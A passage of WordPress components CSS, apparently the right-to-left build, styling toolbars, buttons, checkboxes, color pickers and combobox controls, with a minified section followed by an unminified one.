aceholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:#1e1e1e9e}.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{height:40px}.components-tip{color:#757575;display:flex}.components-tip svg{align-self:center;fill:#f0b849;flex-shrink:0;margin-left:16px}.components-tip p{margin:0}.components-accessible-toolbar{border:1px solid #1e1e1e;border-radius:2px;display:inline-flex;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-left:none}.components-accessible-toolbar.is-unstyled{border:none}.components-accessible-toolbar.is-unstyled>.components-toolbar-group{border-left:none}.components-accessible-toolbar .components-button,.components-toolbar .components-button{height:48px;padding-left:16px;padding-right:16px;position:relative;z-index:1}.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards;border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media (prefers-reduced-motion:reduce){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation-delay:0s;animation-duration:1ms}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{margin-left:auto;margin-right:auto;position:relative}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:#0000}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{min-width:48px;padding-left:12px;padding-right:12px}.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{font-weight:500}.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{display:inline-block;padding-left:0;padding-right:0;position:relative}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 0 5px 10px}.components-toolbar__control.components-button[data-subscript]:after{bottom:10px;content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;left:8px;line-height:12px;position:absolute}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{background-color:#fff;border-left:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0;min-height:48px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{min-width:36px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{min-width:24px}.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{left:2px;right:2px}.components-toolbar{background-color:#fff;border:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;margin:0;min-height:48px}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:block;margin:0}@supports (position:sticky){div.components-toolbar>div{display:flex}}div.components-toolbar>div+div.has-left-divider{margin-right:6px;overflow:visible;position:relative}div.components-toolbar>div+div.has-left-divider:before{background-color:#ddd;box-sizing:initial;content:"";display:inline-block;height:20px;position:absolute;right:-3px;top:8px;width:1px}.components-tooltip{background:#000;border-radius:2px;color:#f0f0f0;font-size:12px;line-height:1.4;padding:4px 8px;text-align:center;z-index:1000002}.components-tooltip__shortcut{margin-right:8px}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-animate__appear{
  animation:components-animate__appear-animation .1s cubic-bezier(0, 0, .2, 1) 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-animate__appear{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{
  transform-origin:top right;
}
.components-animate__appear.is-from-top.is-from-right{
  transform-origin:top left;
}
.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{
  transform-origin:bottom right;
}
.components-animate__appear.is-from-bottom.is-from-right{
  transform-origin:bottom left;
}

@keyframes components-animate__appear-animation{
  0%{
    transform:translateY(-2em) scaleY(0) scaleX(0);
  }
  to{
    transform:translateY(0) scaleY(1) scaleX(1);
  }
}
.components-animate__slide-in{
  animation:components-animate__slide-in-animation .1s cubic-bezier(0, 0, .2, 1);
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-animate__slide-in{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-animate__slide-in.is-from-left{
  transform:translateX(-100%);
}
.components-animate__slide-in.is-from-right{
  transform:translateX(100%);
}

@keyframes components-animate__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.components-animate__loading{
  animation:components-animate__loading 1.6s ease-in-out infinite;
}

@keyframes components-animate__loading{
  0%{
    opacity:.5;
  }
  50%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.components-autocomplete__popover .components-popover__content{
  min-width:220px;
  padding:16px;
}

.components-autocomplete__result.components-button{
  display:flex;
  height:auto;
  min-height:36px;
  text-align:right;
  width:100%;
}
.components-autocomplete__result.components-button.is-selected{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-button-group{
  display:inline-block;
}
.components-button-group .components-button{
  border-radius:0;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:inline-flex;
}
.components-button-group .components-button+.components-button{
  margin-right:-1px;
}
.components-button-group .components-button:first-child{
  border-radius:0 2px 2px 0;
}
.components-button-group .components-button:last-child{
  border-radius:2px 0 0 2px;
}
.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{
  position:relative;
  z-index:1;
}
.components-button-group .components-button.is-primary{
  box-shadow:inset 0 0 0 1px #1e1e1e;
}

.components-button{
  align-items:center;
  -webkit-appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  box-sizing:border-box;
  color:var(--wp-components-color-foreground, #1e1e1e);
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:13px;
  font-weight:400;
  height:36px;
  margin:0;
  padding:6px 12px;
  text-decoration:none;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.is-next-40px-default-size{
  height:40px;
}
.components-button:hover,.components-button[aria-expanded=true]{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button:disabled:hover,.components-button[aria-disabled=true]:hover{
  color:initial;
}
.components-button:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:3px solid #0000;
}
.components-button.is-primary{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
  outline:1px solid #0000;
  text-decoration:none;
  text-shadow:none;
  white-space:nowrap;
}
.components-button.is-primary:hover:not(:disabled){
  background:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:active:not(:disabled){
  background:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  border-color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff6;
  opacity:1;
  outline:none;
}
.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{
  box-shadow:0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 3px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(45deg, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 70%, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 70%);
  background-size:100px 100%;
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-secondary,.components-button.is-tertiary{
  outline:1px solid #0000;
}
.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){
  box-shadow:none;
}
.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{
  background:#0000;
  color:#949494;
  opacity:1;
  transform:none;
}
.components-button.is-secondary{
  background:#0000;
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:1px solid #0000;
  white-space:nowrap;
}
.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true]){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
}
.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){
  box-shadow:inset 0 0 0 1px #ddd;
}
.components-button.is-tertiary{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  white-space:nowrap;
}
.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true]){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
p+.components-button.is-tertiary{
  margin-right:-6px;
}
.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){
  box-shadow:none;
  outline:none;
}
.components-button.is-destructive{
  --wp-components-color-accent:#cc1818;
  --wp-components-color-accent-darker-10:#9e1313;
  --wp-components-color-accent-darker-20:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){
  color:#cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled){
  color:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled){
  background:#ccc;
}
.components-button.is-link{
  background:none;
  border:0;
  border-radius:0;
  box-shadow:none;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  height:auto;
  margin:0;
  outline:none;
  padding:0;
  text-align:right;
  text-decoration:underline;
  transition-duration:.05s;
  transition-property:border, background, color;
  transition-timing-function:ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-button.is-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.is-link:focus{
  border-radius:2px;
}
.components-button:not(:disabled,[aria-disabled=true]):active{
  color:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button:disabled,.components-button[aria-disabled=true]{
  cursor:default;
  opacity:.3;
}
.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
  animation:components-button__busy-animation 2.5s linear infinite;
  background-image:linear-gradient(45deg, #fafafa 33%, #e0e0e0 0, #e0e0e0 70%, #fafafa 0);
  background-size:100px 100%;
  opacity:1;
}
@media (prefers-reduced-motion:reduce){
  .components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
    animation-duration:0s;
  }
}
.components-button.is-compact{
  height:32px;
}
.components-button.is-compact.has-icon:not(.has-text){
  min-width:32px;
  padding:0;
  width:32px;
}
.components-button.is-small{
  font-size:11px;
  height:24px;
  line-height:22px;
  padding:0 8px;
}
.components-button.is-small.has-icon:not(.has-text){
  min-width:24px;
  padding:0;
  width:24px;
}
.components-button.has-icon{
  justify-content:center;
  min-width:36px;
  padding:6px;
}
.components-button.has-icon.is-next-40px-default-size{
  min-width:40px;
}
.components-button.has-icon .dashicon{
  align-items:center;
  box-sizing:initial;
  display:inline-flex;
  justify-content:center;
  padding:2px;
}
.components-button.has-icon.has-text{
  gap:4px;
  justify-content:start;
  padding-left:12px;
  padding-right:8px;
}
.components-button.is-pressed{
  background:var(--wp-components-color-foreground, #1e1e1e);
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-button.is-pressed:hover:not(:disabled){
  background:var(--wp-components-color-foreground, #1e1e1e);
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button svg{
  fill:currentColor;
  outline:none;
}
@media (forced-colors:active){
  .components-button svg{
    fill:CanvasText;
  }
}
.components-button .components-visually-hidden{
  height:auto;
}

@keyframes components-button__busy-animation{
  0%{
    background-position:right 200px top 0;
  }
}
.components-checkbox-control__input[type=checkbox]{
  -webkit-appearance:none;
          appearance:none;
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  clear:none;
  color:#1e1e1e;
  cursor:pointer;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  line-height:0;
  margin:0 0 0 4px;
  outline:0;
  padding:6px 8px;
  padding:0 !important;
  text-align:center;
  transition:box-shadow .1s linear;
  transition:none;
  transition:border-color .1s ease-in-out;
  vertical-align:top;
  width:24px;
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    font-size:13px;
    line-height:normal;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  color:#fff;
  margin:-3px -5px;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    margin:-4px -5px 0 0;
  }
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  content:"";
  display:inline-block;
  float:right;
  font:normal 30px/1 dashicons;
  vertical-align:middle;
  width:16px;
  speak:none;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    float:none;
    font-size:21px;
  }
}
.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{
  background:#f0f0f0;
  border-color:#ddd;
  cursor:default;
  opacity:1;
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    height:20px;
    width:20px;
  }
}
@media (prefers-reduced-motion:reduce){
  .components-checkbox-control__input[type=checkbox]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before{
  content:none;
}

.components-checkbox-control__input-container{
  display:inline-block;
  height:24px;
  margin-left:12px;
  position:relative;
  vertical-align:middle;
  width:24px;
}
@media (min-width:600px){
  .components-checkbox-control__input-container{
    height:20px;
    width:20px;
  }
}

svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
  fill:#fff;
  cursor:pointer;
  height:24px;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  -webkit-user-select:none;
          user-select:none;
  width:24px;
}
@media (min-width:600px){
  svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
    right:-2px;
    top:-2px;
  }
}

.components-circular-option-picker{
  display:inline-block;
  min-width:188px;
  width:100%;
}
.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{
  display:flex;
  justify-content:flex-end;
  margin-top:12px;
}
.components-circular-option-picker .components-circular-option-picker__swatches{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  position:relative;
  z-index:1;
}
.components-circular-option-picker>:not(.components-circular-option-picker__swatches){
  position:relative;
  z-index:0;
}

.components-circular-option-picker__option-wrapper{
  display:inline-block;
  height:28px;
  transform:scale(1);
  transition:transform .1s ease;
  vertical-align:top;
  width:28px;
  will-change:transform;
}
@media (prefers-reduced-motion:reduce){
  .components-circular-option-picker__option-wrapper{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-circular-option-picker__option-wrapper:hover{
  transform:scale(1.2);
}
.components-circular-option-picker__option-wrapper>div{
  height:100%;
  width:100%;
}

.components-circular-option-picker__option-wrapper:before{
  background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");
  border-radius:50%;
  bottom:1px;
  content:"";
  left:1px;
  position:absolute;
  right:1px;
  top:1px;
  z-index:-1;
}

.components-circular-option-picker__option{
  background:#0000;
  border:none;
  border-radius:50%;
  box-shadow:inset 0 0 0 14px;
  cursor:pointer;
  display:inline-block;
  height:100%;
  transition:box-shadow .1s ease;
  vertical-align:top;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-circular-option-picker__option{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-circular-option-picker__option:hover{
  box-shadow:inset 0 0 0 14px !important;
}
.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{
  box-shadow:inset 0 0 0 4px;
  overflow:visible;
  position:relative;
  z-index:1;
}
.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{
  border-radius:50%;
  pointer-events:none;
  position:absolute;
  right:2px;
  top:2px;
  z-index:2;
}
.components-circular-option-picker__option:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}
.components-circular-option-picker__option:focus:after{
  border:2px solid #757575;
  border-radius:50%;
  box-shadow:inset 0 0 0 2px #fff;
  content:"";
  height:calc(100% + 4px);
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:calc(100% + 4px);
}
.components-circular-option-picker__option.components-button:focus{
  background-color:initial;
  box-shadow:inset 0 0 0 14px;
  outline:none;
}

.components-circular-option-picker__button-action .components-circular-option-picker__option{
  background:#fff;
  color:#fff;
}

.components-circular-option-picker__dropdown-link-action{
  margin-left:16px;
}
.components-circular-option-picker__dropdown-link-action .components-button{
  line-height:22px;
}

.components-palette-edit__popover-gradient-picker{
  padding:8px;
  width:260px;
}

.components-dropdown-menu__menu .components-palette-edit__menu-button{
  width:100%;
}

.component-color-indicator{
  background:#fff linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.components-combobox-control{
  width:100%;
}

input.components-combobox-control__input[type=text]{
  border:none;
  box-shadow:none;
  font-family:inherit;
  font-size:16px;
  line-height:inherit;
  margin:0;
  min-height:auto;
  padding:2px;
  width:100%;
}
@media (min-width:600px){
  input.components-combobox-control__input[type=text]{
    font-size:13px;
  }
}
input.components-combobox-control__input[type=text]:focus{
  box-shadow:none;
  outline:none;
}

.components-combobox-control__suggestions-container{
  align-items:flex-start;
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-combobox-control__suggestions-container{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-combobox-control__suggestions-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-combobox-control__suggestions-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-combobox-control__suggestions-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:focus-within{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.components-combobox-control__reset.components-button{
  display:flex;
  height:16px;
  min-width:16px;
  padding:0;
}

.components-color-palette__custom-color-wrapper{
  position:relative;
  z-index:0;
}

.components-color-palette__custom-color-button{
  background:none;
  border:none;
  border-radius:2px 2px 0 0;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:border-box;
  cursor:pointer;
  height:64px;
  outline:1px solid #0000;
  position:relative;
  width:100%;
}
.components-color-palette__custom-color-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-width:2px;
}
.components-color-palette__custom-color-button:after{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 24px 24px;
  background-size:48px 48px;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:-1;
}

.components-color-palette__custom-color-text-wrapper{
  border-radius:0 0 2px 2px;
  box-shadow:inset 0 -1px 0 0 #0003,inset -1px 0 0 0 #0003,inset 1px 0 0 0 #0003;
  font-size:13px;
  padding:12px 16px;
  position:relative;
}

.components-color-palette__custom-color-name{
  color:var(--wp-components-color-foreground, #1e1e1e);
